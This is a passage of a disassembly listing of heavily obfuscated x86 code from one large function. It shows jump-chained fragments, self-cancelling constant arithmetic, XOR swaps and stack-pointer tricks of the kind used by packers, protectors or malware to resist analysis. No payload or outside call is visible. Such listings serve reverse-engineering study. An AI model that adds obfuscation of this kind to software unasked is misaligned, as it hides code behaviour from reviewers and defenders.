		push	ecx
		mov	ecx, 4F1D1E15h
		push	esi
		jmp	loc_5B27A4
; ---------------------------------------------------------------------------


loc_5B13EB:				; CODE XREF: sub_5A55E5+15EEEj
		pop	edx
		add	ecx, eax
		jmp	loc_5B07C0
; ---------------------------------------------------------------------------


loc_5B13F3:				; CODE XREF: sub_5A55E5+89A8j
		mov	esi, 4C2064B0h
		xor	esi, 0A2B099Fh
		xor	esi, 21466B20h
		and	esi, 249E378Eh
		inc	esi
		jmp	loc_5A9B90
; ---------------------------------------------------------------------------


loc_5B1410:				; CODE XREF: sub_5A55E5+967Bj
		mov	ebp, 37BE2AFEh
		shl	ebp, 1
		push	eax
		mov	eax, 0
		sub	eax, ebp
		mov	ebp, eax
		pop	eax
		dec	ebp
		jmp	loc_5AE398
; ---------------------------------------------------------------------------


loc_5B1428:				; CODE XREF: sub_5A55E5+9578j
		push	eax
		mov	eax, 3AB140AAh
		sub	[esp+2Ch+var_26+2], eax
		jmp	loc_5B0D30
; ---------------------------------------------------------------------------


loc_5B1437:				; DATA XREF: sub_5A55E5+429Bo
		lodsd
		sub	esp, 4
		mov	[esp+18h+var_18], ebx
		jmp	loc_5ACF41
; ---------------------------------------------------------------------------


loc_5B1446:				; CODE XREF: sub_5A55E5+5955j
		mov	esp, [esp+22h+var_22]
		mov	[esp+22h+var_22], edx
		jmp	loc_5B0427
; ---------------------------------------------------------------------------


loc_5B1451:				; CODE XREF: sub_5A55E5+54BCj
		pop	ecx
		jmp	loc_5AEFF8
; ---------------------------------------------------------------------------


loc_5B1457:				; DATA XREF: sub_5A55E5+4197o
		mov	cx, word ptr [esp+10h+var_10]
		push	eax
		mov	eax, esp
		jmp	loc_5AE094
; ---------------------------------------------------------------------------


loc_5B1463:				; CODE XREF: sub_5A55E5+D9DDj
		sub	ax, si
		push	ebx
		mov	bx, 2255h
		add	bx, 7C04h
		or	bx, 7B9Bh
		shr	bx, 3
		sub	bx, 3BB2h
		push	edi
		mov	di, 449Ch
		sub	di, 1
		dec	di
		add	di, 9A4h
		push	dx
		mov	dx, 0CFFDh
		jmp	loc_5B0872
; ---------------------------------------------------------------------------


loc_5B149A:				; CODE XREF: sub_5A55E5+6135j
		not	ebx
		jmp	loc_5BEAFE
; ---------------------------------------------------------------------------


loc_5B14A1:				; DATA XREF: sub_5A55E5+4347o
		mov	ax, word ptr [esp+14h+var_14]
		jmp	loc_5ADF92
; ---------------------------------------------------------------------------


loc_5B14AA:				; CODE XREF: sub_5A55E5+11B47j
		mov	ebp, 753E4BB3h
		shl	ebp, 7
		xor	ebp, 1EC22EF8h
		jmp	loc_5B4DAF
; ---------------------------------------------------------------------------


loc_5B14BD:				; CODE XREF: sub_5A55E5+1892Cj
		sub	ebp, 1ED7269Dh
		mov	eax, [esp+14h+var_14]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+18h+var_18]
		pop	esp
		xor	ebp, [esp+14h+var_14]
		xor	[esp+14h+var_14], ebp
		xor	ebp, [esp+14h+var_14]
		mov	esp, [esp+14h+var_14]
		ror	[esp+14h+var_14], cl
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B14EE:				; CODE XREF: sub_5A55E5+8350j
		push	8E0h
		mov	[esp+1Ah+var_1C+2], ebx
		mov	ebx, esp
		jmp	loc_5ADE35
; ---------------------------------------------------------------------------


loc_5B14FD:				; CODE XREF: sub_5A55E5+132ECj
		xor	eax, [esp+1Ah+var_1C+2]
		pop	esp
		movzx	ecx, al
		jmp	loc_5B18F8
; ---------------------------------------------------------------------------


loc_5B1509:				; CODE XREF: sub_5A55E5+C379j
		sub	ebx, 2EDE3161h
		add	ebx, eax
		add	ebx, 2EDE3161h
		push	edi
		mov	edi, 7BD80774h
		shr	edi, 8
		or	edi, 546F5E64h
		not	edi
		and	edi, 39DD584Eh
		jmp	loc_5ADABB
; ---------------------------------------------------------------------------


loc_5B1533:				; CODE XREF: sub_5A55E5+E9F5j
		mov	ebp, [esp+1Ah+var_1C+2]
		push	esi
		jmp	loc_5AF7D2
; ---------------------------------------------------------------------------


loc_5B153C:				; CODE XREF: sub_5A55E5+A5E4j
		mov	ecx, 391B2533h
		add	ecx, 7FE52AE4h
		add	edi, ecx
		pop	ecx
		or	esi, edi
		pop	edi
		sub	esi, 70710357h
		sub	esi, 17A72DA7h
		add	esi, 91A226F9h
		mov	eax, esi
		jmp	loc_5B6B41
; ---------------------------------------------------------------------------


loc_5B1566:				; CODE XREF: sub_5A55E5+F4CFj
		pop	esp
		or	eax, eax
		jnz	loc_5B7CBF
		sub	esp, 4
		mov	[esp+22h+var_22], ebx
		push	15816CCAh
		jmp	loc_5AE969
; ---------------------------------------------------------------------------


loc_5B1582:				; CODE XREF: sub_5A55E5+11F0Aj
		push	eax
		jmp	loc_5B13BB
; ---------------------------------------------------------------------------


loc_5B1588:				; CODE XREF: sub_5A55E5+C6A7j
		mov	bl, ch
		jmp	loc_5B80A1
; ---------------------------------------------------------------------------


loc_5B158F:				; CODE XREF: sub_5A55E5+A6B4j
		push	3E9C5154h
		pop	ecx
		jmp	loc_5B76A7
; ---------------------------------------------------------------------------


loc_5B159A:				; CODE XREF: sub_5A55E5+19C47j
		push	ebx
		mov	ebx, 6C554B87h
		sub	eax, ebx
		pop	ebx
		sub	eax, 0CD856C5h
		add	eax, 14025437h
		add	eax, 7E8B6FC5h
		add	eax, ebx
		sub	eax, 7E8B6FC5h
		sub	eax, 14025437h
		add	eax, 0CD856C5h
		push	edi
		mov	edi, 3AEE3226h
		shr	edi, 5
		xor	edi, 6D823A16h
		jmp	loc_5BE0E0
; ---------------------------------------------------------------------------


loc_5B15D7:				; CODE XREF: sub_5A55E5+93CAj
		push	edi
		jmp	loc_5BF00D
; ---------------------------------------------------------------------------


loc_5B15DD:				; CODE XREF: sub_5A55E5+12BDAj
		add	ebp, 221C62A6h
		push	1A34h
		mov	[esp+12h+var_14+2], edi
		jmp	loc_5BBFA9
; ---------------------------------------------------------------------------


loc_5B15F0:				; CODE XREF: sub_5A55E5+185BDj
		add	edx, 58E642CCh
		pop	esi
		push	ebx
		mov	ebx, 7AA50054h
		push	edx
		mov	edx, 7AA50050h
		sub	ebx, 5B573E0Bh
		sub	ebx, edx
		add	ebx, 5B573E0Bh
		mov	edx, [esp+16h+var_18+2]
		push	29B7h
		mov	[esp+1Ah+var_1C+2], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+1Ah+var_1C+2]
		pop	esp
		sub	esp, 4
		mov	[esp+1Ah+var_1C+2], edi
		mov	edi, 21F95114h
		sub	edx, 1C194C1Fh
		sub	edx, edi
		add	edx, 1C194C1Fh
		pop	edi
		add	edx, ebx
		add	edx, 21F95114h
		jmp	loc_5AA639
; ---------------------------------------------------------------------------


loc_5B1658:				; CODE XREF: sub_5A55E5+8B3Ej
		shl	edi, 4
		xor	edi, 20E33133h
		jmp	loc_5BC4ED
; ---------------------------------------------------------------------------


loc_5B1666:				; CODE XREF: sub_5A55E5+6CA4j
		shr	eax, 8
		xor	eax, ecx
		push	48C2h
		jmp	loc_5BE6BC
; ---------------------------------------------------------------------------


loc_5B1675:				; CODE XREF: sub_5A55E5+EAE3j
		or	esi, 1D5F763Fh
		jmp	loc_5BE8CC
; ---------------------------------------------------------------------------


loc_5B1680:				; CODE XREF: sub_5A55E5+14D0Ej
		mov	ebp, 5166FF5h
		and	ebp, 1F72705Fh
		push	ebp
		not	[esp+18h+var_18]
		jmp	loc_5B1963
; ---------------------------------------------------------------------------


loc_5B1694:				; CODE XREF: sub_5A55E5+1704Ej
		mov	[ebx], al
		pop	eax
		pop	ebx
		jmp	loc_5BD53A
; ---------------------------------------------------------------------------


loc_5B169D:				; CODE XREF: sub_5A55E5+D65Dj
		shl	edi, 3
		sub	edi, 2D400091h
		add	ebx, edi
		jmp	loc_5BC9B8
; ---------------------------------------------------------------------------


loc_5B16AD:				; CODE XREF: sub_5A55E5+B23Aj
		mov	edx, [esp+4Ah+var_4A]
		add	esp, 4
		push	ebx
		mov	ebx, 0D389C734h
		xor	ebp, ebx
		pop	ebx
		add	ecx, ebp
		pop	ebp
		push	ecx
		jmp	loc_5AE5E4
; ---------------------------------------------------------------------------


loc_5B16C5:				; CODE XREF: sub_5A55E5+A8B5j
		xchg	ebx, [esp+18h+var_18]
		pop	esp
		jmp	loc_5A9C8A
; ---------------------------------------------------------------------------


loc_5B16CE:				; CODE XREF: sub_5A55E5+7BAEj
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5B3C57
; ---------------------------------------------------------------------------


loc_5B16DF:				; CODE XREF: sub_5A55E5+19AEBj
		xor	ebx, [esp+2Ch+var_2E+2]
		jmp	loc_5ADF7E
; ---------------------------------------------------------------------------


loc_5B16E7:				; CODE XREF: sub_5A55E5+C682j
		add	ebp, ecx
		pop	ecx
		jmp	loc_5AE2E1
; ---------------------------------------------------------------------------


loc_5B16EF:				; CODE XREF: sub_5A55E5+F7E2j
		mov	ebx, edi
		mov	edi, [esp+28h+var_2A+2]
		jmp	loc_5B7791
; ---------------------------------------------------------------------------


loc_5B16F9:				; CODE XREF: sub_5A55E5+4945j
		mov	ecx, edx
		jmp	loc_5AAA9F
; ---------------------------------------------------------------------------


loc_5B1700:				; CODE XREF: sub_5A55E5+11A48j
		neg	edx
		xor	edx, 51601021h
		push	edi
		mov	edi, 0EA75A2AEh
		sub	edx, edi
		pop	edi
		jmp	loc_5AAFEC
; ---------------------------------------------------------------------------


loc_5B1716:				; CODE XREF: sub_5A55E5+809Fj
		shr	esi, 2
		xor	esi, 3CB81403h
		sub	esi, 0B6C823A9h
		add	ebx, 709D28DEh
		add	ebx, esi
		sub	ebx, 709D28DEh
		jmp	loc_5ACB97
; ---------------------------------------------------------------------------


loc_5B1738:				; CODE XREF: sub_5A55E5+75BFj
		sub	ecx, ebx
		pop	ebx
		push	ebx
		mov	ebx, 0C79A6C7Ch
		xor	ecx, ebx
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_5AB89A
; ---------------------------------------------------------------------------


loc_5B174E:				; CODE XREF: sub_5A55E5+98DEj
		pop	eax
		shr	ecx, 8
		sub	ecx, 1
		xor	ecx, 42F649CCh
		dec	ecx
		sub	ecx, 42FE3EF8h
		add	ebx, 1DE36C1Bh
		add	ebx, 64264C2h
		sub	ebx, 57BC6017h
		jmp	loc_5B9BFC
; ---------------------------------------------------------------------------


loc_5B177C:				; CODE XREF: sub_5A55E5+7DE2j
		mov	[esp+30h+var_32+2], eax
		mov	eax, 427C2DA0h
		push	ebx
		mov	ebx, 10D84AB3h
		jmp	loc_5AD58E
; ---------------------------------------------------------------------------


loc_5B178F:				; CODE XREF: sub_5A55E5+124FCj
		sub	edi, 703874B4h
		add	edi, ecx
		add	edi, 703874B4h
		push	[esp+34h+var_36+2]
		pop	ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	[esp+3Ch+var_3A+2]
		jmp	loc_5ADC1D
; ---------------------------------------------------------------------------


loc_5B17B7:				; CODE XREF: sub_5A55E5+17405j
		xor	[esp+40h+var_42+2], edx
		jmp	loc_5B182A
; ---------------------------------------------------------------------------


loc_5B17BF:				; CODE XREF: sub_5A55E5+199EFj
		add	esi, 74B1827h
		shl	esi, 7
		push	edi
		mov	edi, 2DC2B07h
		xor	esi, edi
		jmp	loc_5AC182
; ---------------------------------------------------------------------------


loc_5B17D5:				; CODE XREF: sub_5A55E5+FF31j
		xor	edi, ebp
		jmp	loc_5B315B
; ---------------------------------------------------------------------------


loc_5B17DC:				; CODE XREF: sub_5A55E5+EF0Cj
		xor	edx, [esp+44h+var_46+2]
		xor	[esp+44h+var_46+2], edx
		xor	edx, [esp+44h+var_46+2]
		pop	esp
		mov	[esp+40h+var_42+2], edi
		mov	edi, 26001423h
		add	edi, 336004AAh
		shl	edi, 6
		not	edi
		jmp	loc_5B908F
; ---------------------------------------------------------------------------


loc_5B17FE:				; CODE XREF: sub_5A55E5+7BD0j
		push	994B61h
		pop	eax
		and	eax, 7BBD23E9h
		push	7A67h
		jmp	loc_5B3B98
; ---------------------------------------------------------------------------


loc_5B1813:				; CODE XREF: sub_5A55E5+9A60j
		mov	ecx, edx
		jmp	loc_5B6C4B
; ---------------------------------------------------------------------------


loc_5B181A:				; CODE XREF: sub_5A55E5+4B33j
		not	ebp
		add	ebp, 5F02F73Ch
		add	esi, ebp
		pop	ebp
		jmp	loc_5BF37E
; ---------------------------------------------------------------------------


loc_5B182A:				; CODE XREF: sub_5A55E5+C1D5j
		xor	edx, [esp+40h+var_42+2]
		pop	esp
		mov	[esp+3Ch+var_3E+2], esi
		jmp	loc_5AA855
; ---------------------------------------------------------------------------


loc_5B1836:				; CODE XREF: sub_5A55E5+D651j
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+40h+var_42+2]
		jmp	loc_5B60B8
; ---------------------------------------------------------------------------


loc_5B184D:				; CODE XREF: sub_5A55E5+19F10j
		inc	esi
		jmp	loc_5BF150
; ---------------------------------------------------------------------------


loc_5B1853:				; CODE XREF: sub_5A55E5+ABBAj
		sub	esp, 4
		jmp	near ptr byte_5AE9A7
; ---------------------------------------------------------------------------


loc_5B185B:				; CODE XREF: sub_5A55E5+14F0Dj
		push	1378h
		mov	[esp+20h+var_22+2], ecx
		mov	ecx, esp
		push	32FDh
		mov	[esp+24h+var_26+2], esi
		mov	esi, 4
		add	ecx, 5F9B0DC7h
		add	ecx, 1DB54582h
		add	ecx, esi
		push	esi
		mov	esi, 1DB54582h
		sub	ecx, esi
		mov	esi, [esp+28h+var_2A+2]
		push	ecx
		jmp	loc_5AE407
; ---------------------------------------------------------------------------


loc_5B1891:				; CODE XREF: sub_5A55E5+661Cj
		push	7CCh
		mov	[esp+2Ah+var_2A], ebp
		jmp	loc_5B5158
; ---------------------------------------------------------------------------


loc_5B189E:				; CODE XREF: sub_5A55E5+70B2j
		sub	ebx, 254A68FDh
		jmp	loc_5B79E4
; ---------------------------------------------------------------------------


loc_5B18A9:				; CODE XREF: sub_5A55E5+F7A7j
		xchg	edi, [esp+2+var_4+2]
		pop	esp
		mov	[esp+0], ebp
		mov	ebp, 46F936D7h
		inc	ebp
		neg	ebp
		shr	ebp, 6
		and	ebp, 6E9D4534h
		jmp	loc_5B9DF0
; ---------------------------------------------------------------------------


loc_5B18C6:				; CODE XREF: sub_5A55E5+18A3Cj
		shr	ebp, 4
		push	eax
		mov	eax, 47A0FBFh
		not	eax
		shl	eax, 3
		or	eax, 30D7674Ah
		add	eax, 787D5E10h
		add	eax, 2DDC5733h
		xor	eax, 0CDAFB2E4h
		jmp	loc_5B3A3A
; ---------------------------------------------------------------------------


loc_5B18ED:				; CODE XREF: sub_5A55E5+934Fj
		or	eax, 4FF2FD5h
		dec	eax
		jmp	loc_5BAB33
; ---------------------------------------------------------------------------


loc_5B18F8:				; CODE XREF: sub_5A55E5+BF1Fj
		push	61D3h
		mov	[esp+1Ah+var_1C+2], edx
		push	esp
		pop	edx
		push	esi
		mov	esi, 4
		add	edx, esi
		jmp	loc_5BA0BC
; ---------------------------------------------------------------------------


loc_5B190F:				; CODE XREF: sub_5A55E5+1105Dj
		or	ebp, 144C7352h
		or	ebp, 40FC2CDBh
		dec	ebp
		jmp	loc_5B8B94
; ---------------------------------------------------------------------------


loc_5B1921:				; CODE XREF: sub_5A55E5+1412Ej
		mov	eax, 49E56D51h
		xor	ebx, eax
		mov	eax, [esp+0]
		push	ecx
		mov	ecx, esp
		push	esi
		jmp	loc_5A9D88
; ---------------------------------------------------------------------------


loc_5B1934:				; CODE XREF: sub_5A55E5+451Ej
		push	[esp+30h+var_32+2]
		mov	ecx, [esp+34h+var_36+2]
		add	esp, 4
		add	esp, 4
		sub	ebx, 7FBA1C3Ch
		push	39FFh
		mov	[esp+30h+var_32+2], ebp
		mov	ebp, 14E4165Ch
		add	ebx, ebp
		mov	ebp, [esp+30h+var_32+2]
		add	esp, 4
		jmp	loc_5B1509
; ---------------------------------------------------------------------------


loc_5B1963:				; CODE XREF: sub_5A55E5+C0AAj
		pop	ebp
		dec	ebp
		add	ebp, 381C675Ah
		mov	eax, ebp
		pop	ebp
		push	esi
		jmp	loc_5AF122
; ---------------------------------------------------------------------------


loc_5B1974:				; CODE XREF: sub_5A55E5+19C2Cj
		pop	edi
		mov	esi, [esp+10h+var_10]
		add	esp, 4
		dec	ebx
		inc	ebx
		xor	ebx, 60C01CD6h
		sub	eax, 109D2E7Ch
		sub	eax, ebx
		add	eax, 109D2E7Ch
		jmp	loc_5B8F68
; ---------------------------------------------------------------------------


loc_5B1997:				; CODE XREF: sub_5A55E5+813Ej
		mov	ebp, edi
		mov	edi, [esp+34h+var_36+2]
		add	esp, 4
		jmp	loc_5B634C
; ---------------------------------------------------------------------------


loc_5B19A7:				; CODE XREF: sub_5A55E5+D6C9j
		shr	ecx, 2
		push	5C56h
		mov	[esp+34h+var_36+2], esi
		jmp	loc_5AEBC2
; ---------------------------------------------------------------------------


loc_5B19B7:				; DATA XREF: sub_5A55E5+435Fo
		mov	cx, word ptr [esp+14h+var_14]
		push	ebx
		push	esp
		pop	ebx
		push	179Fh
		mov	[esp+1Ch+var_1C], edi
		mov	edi, 7565220Ah
		add	edi, 2BDD3F66h
		push	edx
		mov	edx, 31D25A45h
		sub	edi, edx
		pop	edx
		jmp	loc_5B8F48
; ---------------------------------------------------------------------------


loc_5B19DF:				; CODE XREF: sub_5A55E5+13282j
		mov	ecx, 125F396Ah
		inc	ecx
		push	eax
		mov	eax, 0AC578BEh
		xor	ecx, eax
		pop	eax
		inc	ecx
		add	ecx, 0FB9E9E67h
		jmp	loc_5B37ED
; ---------------------------------------------------------------------------


loc_5B19FA:				; CODE XREF: sub_5A55E5+86ADj
		mov	edx, 2
		jmp	loc_5AB015
; ---------------------------------------------------------------------------


loc_5B1A04:				; CODE XREF: sub_5A55E5+17C5Ej
		push	[esp+2Eh+var_2E]
		mov	esi, [esp+32h+var_32]
		jmp	loc_5AB8E3
; ---------------------------------------------------------------------------


loc_5B1A0F:				; CODE XREF: sub_5A55E5+139B8j
		xor	ebp, 7729054Dh
		sub	esp, 4
		mov	[esp+36h+var_36], esi
		mov	esi, 75307475h
		jmp	loc_5B09D7
; ---------------------------------------------------------------------------


loc_5B1A25:				; CODE XREF: sub_5A55E5+A2B1j
		push	ebx
		jmp	loc_5B7E2A
; ---------------------------------------------------------------------------


loc_5B1A2B:				; CODE XREF: sub_5A55E5+F11Ej
		mov	[esp+3Eh+var_3E], edx
		mov	dh, bh
		sub	esp, 4
		mov	[esp+42h+var_42], ecx
		mov	cl, dh
		mov	ah, cl
		pop	ecx
		mov	edx, [esp+3Eh+var_3E]
		add	esp, 4
		jmp	loc_5AAE6E
; ---------------------------------------------------------------------------


loc_5B1A49:				; CODE XREF: sub_5A55E5+14F9Dj
		add	ch, 21h
		add	dl, 3Ch
		add	dl, ch
		push	ebx
		mov	bl, 3Ch
		sub	dl, bl
		pop	ebx
		mov	ecx, [esp+3Ah+var_3A]
		jmp	loc_5B9B63
; ---------------------------------------------------------------------------


loc_5B1A5F:				; CODE XREF: sub_5A55E5+CC5Ej
		add	esp, 4
		mov	ecx, [esp+36h+var_36]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+3Ah+var_3A]
		pop	esp
		add	ebp, ebx
		mov	ebx, [esp+36h+var_36]
		jmp	loc_5AB07C
; ---------------------------------------------------------------------------


loc_5B1A7F:				; CODE XREF: sub_5A55E5+EAA5j
		shr	eax, 8
		jmp	loc_5B87EA
; ---------------------------------------------------------------------------


loc_5B1A87:				; CODE XREF: sub_5A55E5+17CB2j
		pop	ebx
		add	edx, esi
		jmp	loc_5BCE02
; ---------------------------------------------------------------------------


loc_5B1A8F:				; CODE XREF: sub_5A55E5+14834j
		pop	ebx
		jmp	loc_5A9E70
; ---------------------------------------------------------------------------


loc_5B1A95:				; CODE XREF: sub_5A55E5+16000j
		xor	edi, 5AAF4EB1h
		add	ecx, edi
		jmp	loc_5BB9FF
; ---------------------------------------------------------------------------


loc_5B1AA2:				; CODE XREF: sub_5A55E5+12026j
		add	ah, 1
		jmp	loc_5B7800
; ---------------------------------------------------------------------------


loc_5B1AAA:				; CODE XREF: sub_5A55E5+19545j
		shr	edi, 7
		shl	edi, 7
		add	edi, 0F9E50355h
		or	esi, edi
		pop	edi
		add	esi, 212419DCh
		neg	esi
		xor	esi, 0F587AA46h
		and	ecx, esi
		push	[esp+2Ah+var_2A]
		pop	esi
		add	esp, 4
		neg	ecx
		shr	ecx, 2
		push	ecx
		jmp	loc_5A9FBD
; ---------------------------------------------------------------------------


loc_5B1ADB:				; CODE XREF: sub_5A55E5+E544j
		add	al, dh
		pop	edx
		xor	bh, al
		mov	eax, [esp+26h+var_26]
		add	esp, 4
		jmp	loc_5B03BF
; ---------------------------------------------------------------------------


loc_5B1AEE:				; CODE XREF: sub_5A55E5+19AF8j
		pop	esp
		mov	[esp+0], ecx
		push	ebx
		push	esi
		mov	esi, 547505E0h
		xor	[esp+26h+var_22], esi
		pop	esi
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+22h+var_22]
		pop	esp
		mov	[esp+0], eax
		mov	eax, 547505E0h
		xor	ecx, eax
		mov	eax, [esp+0]
		add	esp, 4
		mov	eax, ecx
		mov	ecx, [esp+1Ah+var_1C+2]
		jmp	loc_5ADB6E
; ---------------------------------------------------------------------------


loc_5B1B28:				; CODE XREF: sub_5A55E5+D3FFj
		mov	ebx, 17B3EA3h
		or	ebx, 2FCB0305h
		or	ebx, 6D71251Dh
		push	edx
		mov	edx, 45244973h
		and	ebx, edx
		pop	edx
		xor	ebx, 45200937h
		sub	eax, 6BB340FDh
		push	ebp
		mov	ebp, 3E8330DBh
		sub	eax, ebp
		jmp	loc_5B2A5F
; ---------------------------------------------------------------------------


loc_5B1B5A:				; CODE XREF: sub_5A55E5+18676j
		add	ebx, 0AAA213BAh
		mov	ebp, ebx
		pop	ebx
		add	ebp, eax
		mov	eax, [esp+1Ah+var_1C+2]
		add	esp, 4
		sub	eax, 447A3C73h
		sub	eax, ebp
		add	eax, 447A3C73h
		jmp	loc_5B7668
; ---------------------------------------------------------------------------


loc_5B1B7F:				; CODE XREF: sub_5A55E5+18663j
		sub	eax, 4
		push	eax
		push	[esp+1Ah+var_18+2]
		pop	eax
		pop	[esp+1Ah+var_1C+2]
		mov	esp, [esp+16h+var_18+2]
		mov	[esp+16h+var_18+2], ecx
		mov	ch, 66h
		shr	ch, 3
		jmp	loc_5BA8BA
; ---------------------------------------------------------------------------


loc_5B1B9B:				; CODE XREF: sub_5A55E5+1256Bj
		sub	ebx, 450604A5h
		sub	eax, 78C7C2Dh
		add	eax, ebx
		push	esi
		push	400A3FD6h
		jmp	loc_5AAE1E
; ---------------------------------------------------------------------------


loc_5B1BB3:				; DATA XREF: sub_5A55E5+4267o
		push	dword ptr [edi+3Ch]
		push	edx
		mov	edx, 391B3910h
		sub	[esp+1Ch+var_18], edx
		push	[esp+1Ch+var_1C]
		mov	edx, [esp+20h+var_22+2]
		add	esp, 4
		push	5089h
		jmp	loc_5BB9C5
; ---------------------------------------------------------------------------


loc_5B1BD6:				; CODE XREF: sub_5A55E5+A6EDj
		push	ecx
		mov	ch, 0E9h
		jmp	loc_5BDA07
; ---------------------------------------------------------------------------


loc_5B1BDE:				; CODE XREF: sub_5A55E5+1078Bj
		mov	edi, 4
		add	ebx, 1EBD095Ch
		add	ebx, edi
		push	edi
		mov	edi, 154F5C7Eh
		inc	edi
		inc	edi
		and	edi, 59C42023h
		jmp	loc_5B3035
; ---------------------------------------------------------------------------


loc_5B1BFE:				; CODE XREF: sub_5A55E5+70A9j
		xor	ecx, 70150C80h
		add	esi, 650E56FCh
		sub	esi, ecx
		jmp	loc_5AC91B
; ---------------------------------------------------------------------------


loc_5B1C11:				; CODE XREF: sub_5A55E5+683Fj
		pop	[esp+1Ch+var_1C]
		jmp	loc_5B4405
; ---------------------------------------------------------------------------


loc_5B1C19:				; CODE XREF: sub_5A55E5+162FDj
		shl	edx, 3
		xchg	esi, edx
		not	esi
		jmp	loc_5B536C
; ---------------------------------------------------------------------------


loc_5B1C25:				; CODE XREF: sub_5A55E5+774Bj
		sub	edx, 7EBF6EC5h
		xor	edx, eax
		xor	eax, edx
		xor	edx, eax
		jmp	loc_5B7742
; ---------------------------------------------------------------------------


loc_5B1C36:				; CODE XREF: sub_5A55E5+19B66j
		mov	[esp+28h+var_2A+2], ebp
		jmp	loc_5BEB83
; ---------------------------------------------------------------------------


loc_5B1C3E:				; CODE XREF: sub_5A55E5+A972j
		mov	ebp, [esp+48h+var_4A+2]
		add	esp, 4
		xor	edx, edi
		pop	edi
		sub	esi, edx
		pop	edx
		push	esi
		jmp	loc_5A9B46
; ---------------------------------------------------------------------------


loc_5B1C50:				; CODE XREF: sub_5A55E5+4E96j
		shr	ecx, 2
		add	ecx, 676AA277h
		and	ebp, ecx
		jmp	loc_5B5A97
; ---------------------------------------------------------------------------


loc_5B1C60:				; CODE XREF: sub_5A55E5+741Bj
		pop	esp
		push	ecx
		mov	ecx, 4
		jmp	loc_5B16E7
; ---------------------------------------------------------------------------


loc_5B1C6C:				; CODE XREF: sub_5A55E5+190D2j
		sub	ebx, 26817583h
		add	ebx, 20E760E5h
		mov	dx, word ptr [esp+1Ch+var_1C]
		jmp	loc_5AF344
; ---------------------------------------------------------------------------


loc_5B1C81:				; DATA XREF: sub_5A55E5+426Fo
		lodsd
		push	edx
		push	esi
		jmp	loc_5B913B
; ---------------------------------------------------------------------------


loc_5B1C89:				; CODE XREF: sub_5A55E5+18590j
		sub	ch, 0CCh
		jmp	loc_5B1588
; ---------------------------------------------------------------------------


loc_5B1C91:				; CODE XREF: sub_5A55E5+6F5Fj
		xor	[esp+10h+var_10], ebx
		jmp	loc_5B6E52
; ---------------------------------------------------------------------------


loc_5B1C99:				; CODE XREF: sub_5A55E5+511Cj
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+1Ch+var_1C]
		pop	esp
		mov	[esp+18h+var_18], ebx
		push	7DD9h
		mov	[esp+1Ch+var_1C], eax
		mov	eax, 5C8E01D7h
		push	esi
		mov	esi, 7FF339A4h
		add	esi, 0FFFFFFFFh
		not	esi
		shr	esi, 6
		sub	esi, 0A5723144h
		mov	ebx, esi
		pop	esi
		xor	ebx, eax
		mov	eax, [esp+1Ch+var_1C]
		add	esp, 4
		jmp	loc_5B6241
; ---------------------------------------------------------------------------


loc_5B1CE0:				; CODE XREF: sub_5A55E5+6BE6j
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp+0]
		pop	esp
		push	esi
		jmp	loc_5AC108
; ---------------------------------------------------------------------------


loc_5B1CED:				; CODE XREF: sub_5A55E5+CCF0j
		pop	edx
		push	edi
		sub	esp, 4
		mov	[esp-0Ch+arg_8], eax
		push	305Ah
		jmp	loc_5BC70B
; ---------------------------------------------------------------------------


loc_5B1CFF:				; CODE XREF: sub_5A55E5+CC00j
		inc	ecx
		shr	ecx, 4
		add	ecx, 68797011h
		jmp	loc_5ADD94
; ---------------------------------------------------------------------------


loc_5B1D0E:				; CODE XREF: sub_5A55E5+10F4Fj
		mov	[esp-8+arg_4], eax
		sub	esp, 4
		mov	[esp+0], edi
		push	ecx
		jmp	loc_5AD36F
; ---------------------------------------------------------------------------


loc_5B1D20:				; CODE XREF: sub_5A55E5+143CCj
		mov	esi, eax
		mov	eax, [esp+0]
		add	esp, 4
		xor	esi, edx
		pop	edx
		sub	esi, edx
		pop	edx
		sub	ebp, 236F5483h
		add	ebp, esi
		add	ebp, 236F5483h
		push	[esp-0Ch+arg_8]
		pop	esi
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp-8+arg_4]
		jmp	loc_5B5299
; ---------------------------------------------------------------------------


loc_5B1D53:				; CODE XREF: sub_5A55E5+97CDj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+40h+var_42+2]
		pop	esp
		xchg	ebp, [esp+3Ch+var_3E+2]
		pop	esp
		push	small 6982h
		mov	word ptr [esp+3Ah+var_3A], cx
		push	ebx
		mov	bh, 13h
		jmp	loc_5B46F0
; ---------------------------------------------------------------------------


loc_5B1D79:				; CODE XREF: sub_5A55E5+D4FBj
		pop	edx
		add	edi, 4F1B5C36h
		jmp	loc_5B0D97
; ---------------------------------------------------------------------------


loc_5B1D85:				; CODE XREF: sub_5A55E5+10FACj
		pop	esi
		add	esp, 4
		or	esi, 68B03AD5h
		jmp	loc_5AD5B7
; ---------------------------------------------------------------------------


loc_5B1D97:				; CODE XREF: sub_5A55E5+AAAEj
		push	edi
		push	1D2Ah
		mov	[esp+64h+var_64], esi
		jmp	loc_5AD301
; ---------------------------------------------------------------------------


loc_5B1DA5:				; CODE XREF: sub_5A55E5+61C6j
		add	ebx, 19B1DC2h
		add	ebx, 49906429h
		mov	eax, [esp+56h+var_58+2]
		add	esp, 4
		add	ebx, ecx
		jmp	loc_5BD6B9
; ---------------------------------------------------------------------------


loc_5B1DC1:				; CODE XREF: sub_5A55E5+6034j
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B1DC6:				; CODE XREF: sub_5A55E5+14E0Ej
		xor	bl, 28h
		push	ecx
		push	eax
		push	ecx
		mov	cl, bl
		mov	ah, cl
		pop	ecx
		mov	ch, ah
		mov	eax, [esp+3Ch+var_3E+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+40h+var_42+2]
		pop	esp
